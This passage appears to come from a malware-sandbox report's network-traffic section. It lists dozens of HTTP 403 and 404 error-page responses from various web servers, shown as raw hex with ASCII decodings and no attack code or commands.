32 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 36 37 45 38 45 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 62 61 73 65 2d 63 6f 6c 6f 72 3a 20 23 30 30 35 42 37 30 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 61 72 72 6f 77 2d 63 6f 6c 6f 72 3a 20 23 46 33 39 36 30 42 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 44 61 72 6b 53 68 61 64 6f 77 2d 43 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 20 7b 20 63 6f 6c 6f 72 3a 23 30 32 31 66 32 35 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 42 39 38 30 32 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 73 79 73 5f 63 70 61 6e 65 6c 2f 69 6d 61 67 65 73 2f 62 6f 74 74 6f 6d 62 6f 64 79 2e 6a 70 67 29 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 72 65 70 65 61 74 2d 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 3a 35 70 78 20 30 20 31 30 70 78 20 31 35 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 23 62 6f 64 79 2d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:45 GMTServer: 2wire GatewayContent-Length: 517Content-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:53 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:17:43 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:55 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:55 GMTServer: ApacheUpgrade: h2Connection: Upgrade, Keep-AliveLast-Modified: Sat, 13 Apr 2024 21:24:14 GMTETag: "360-61601028f7b80"Accept-Ranges: bytesContent-Length: 864Keep-Alive: timeout=5, max=100Content-Type: text/htmlData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 74 69 74 6c 65 3e 53 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 6d 69 64 64 6f 74 3b 20 44 72 65 61 6d 48 6f 73 74 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 6e 6f 74 20 79 65 74 20 75 70 6c 6f 61 64 65 64 20 74 68 65 69 72 20 77 65 62 73 69 74 65 2e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 2f 64 31 61 36 7a 79 74 73 76 7a 62 37 69 67 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 6e 65 77 70 61 6e 65 6c 2f 63 73 73 2f 73 69 6e 67 6c 65 70 61 67 65 2e 63 73 73 22 20 2f 3e 0a 09 3c 2f 68 65 61 64 3e 0a 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 61 67 65 20 70 61 67 65 2d 6d 69 73 73 69 6e 67 22 3e 0a 09 09 09 3c 68 31 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 0a 09 09 09 3c 70 3e 57 65 6c 6c 2c 20 74 68 69 73 20 69 73 20 61 77 6b 77 61 72 64 2e 20 54 68 65 20 73 69 74 65 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 69 73 20 6e 6f 74 20 68 65 72 65 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 3c 73 6d 61 6c 6c 3e 49 73 20 74 68 69 73 20 79 6f 75 72 20 73 69 74 65 3f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 64 72 65 61 6d 68 6f 73 74 2e 63 6f 6d 2f 68 63 2f 65 6e 2d 75 73 2f 61 72 74 69 63 6c 65 73 2f 32 31 35 36 31 33 35 31 37 22 0a 09 09 09 09 09 09 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 47 65 74 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 61 3e 20 6f 72 20 3c 61 0a 09 09 09 09 09 09 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 6e 65 6c 2e 64 72 65 61 6d 68 6f 73 74 2e 63 6f 6d 2f 69 6e 64 65 78 2e 63 67 69 3f 74 72 65 65 3d 73 75 70 70 6f 72 74 2e 6d 73 67 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 63 6f 6e 74 61 63 74 0a 09 09 09 09 09 09 73 75 70 70 6f 72 74 3c 2f 61 3e 2e 3c 2f 73 6d 61 6c 6c 3e 3c 2f 70 3e 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 65 61 6d 68 6f 73 74 2e 63 6f 6d 2f 22 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 44 72 65 61 6d 48 6f 73 74 3c 2f 61 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!doctype html><html><head><title>Site not found · DreamHost</title><me
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:58 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:58 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:58 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:58 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 12 Apr 2024 09:44:28 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 00:57:05 GMTServer: cisco-IOSConnection: closeAccept-Ranges: noneData Raw: 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a Data Ascii: 404 Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 01:59:31 GMTServer: Apache/2.2.15 (CentOS)Last-Modified: Wed, 15 Jan 2014 20:49:22 GMTETag: "51a821-377-4f00871883880"Accept-Ranges: bytesContent-Length: 887Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 3e 0a 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 31 30 30 25 20 68 65 69 67 68 74 3d 31 30 30 25 3e 0a 3c 74 72 3e 0a 09 3c 74 64 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 30 20 77 69 64 74 68 3d 33 30 30 3e 0a 09 3c 74 72 3e 3c 74 64 20 62 67 63 6f 6c 6f 72 3d 23 30 30 30 30 30 30 3e 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 33 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 20 77 69 64 74 68 3d 33 30 30 3e 0a 09 3c 74 72 3e 0a 09 09 3c 74 64 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 20 62 67 63 6f 6c 6f 72 3d 23 46 46 30 30 30 30 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 46 46 46 46 46 46 20 66 61 63 65 3d 27 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 27 20 73 69 7a 65 3d 32 3e 3c 62 3e 49 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 09 3c 2f 74 72 3e 0a 09 3c 74 72 3e 0a 09 09 3c 74 64 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 20 62 67 63 6f 6c 6f 72 3d 23 46 46 46 46 46 46 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 46 46 30 30 30 30 20 66 61 63 65 3d 27 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 27 20 73 69 7a 65 3d 32 3e 3c 62 3e 41 63 63 6f 75 6e 74 20 64 69 73 61 62 6c 65 64 20 62 79 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 09 3c 2f 74 72 3e 0a 09 3c 2f 74 61 62 6c 65 3e 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 2f 74 61 62 6c 65 3e 0a 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 69 73 70 73 79 73 74 65 6d 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 22 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 30 30 30 30 30 30 20 66 61 63 65 3d 27 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 27 20 73 69 7a 65 3d 31 3e 26 63 6f 70 79 3b 20 49 53 50 6d 61 6e 61 67 65 72 20 63 6f 6e 74 72 6f 6c 20 70 61 6e 65 6c 3c 2f 66 6f 6e 74 3e 3c 2f 61 3e 0a 09 3c 2f 74 64 3e 0a 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:03 GMTServer: Apache/2.4.38 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Sun, 14 Apr 2024 02:01:03 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.10.3</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:11 GMTServer: Apache/2.4.52 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.4.6 (Ubuntu)Date: Sun, 14 Apr 2024 02:01:04 GMTContent-Type: text/htmlContent-Length: 1806Connection: keep-aliveETag: "54cb7061-70e"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 20 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 34 34 34 34 34 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 45 45 45 45 45 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 54 72 65 62 75 63 68 65 74 20 4d 53 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 38 30 25 3b 0a 20 20 20 20 7d 0a 20 20 20 20 68 31 20 7b 7d 0a 20 20 20 20 68 32 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 32 65 6d 3b 20 7d 0a 20 20 20 20 23 70 61 67 65 7b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 36 30 25 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 32 34 70 78 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 32 70 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 23 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 73 74 61 74 75 73 33 78 78 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 37 35 30 37 36 3b 20 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 2e 73 74 61 74 75 73 34 78 78 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 43 35 35 30 34 32 3b 20 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 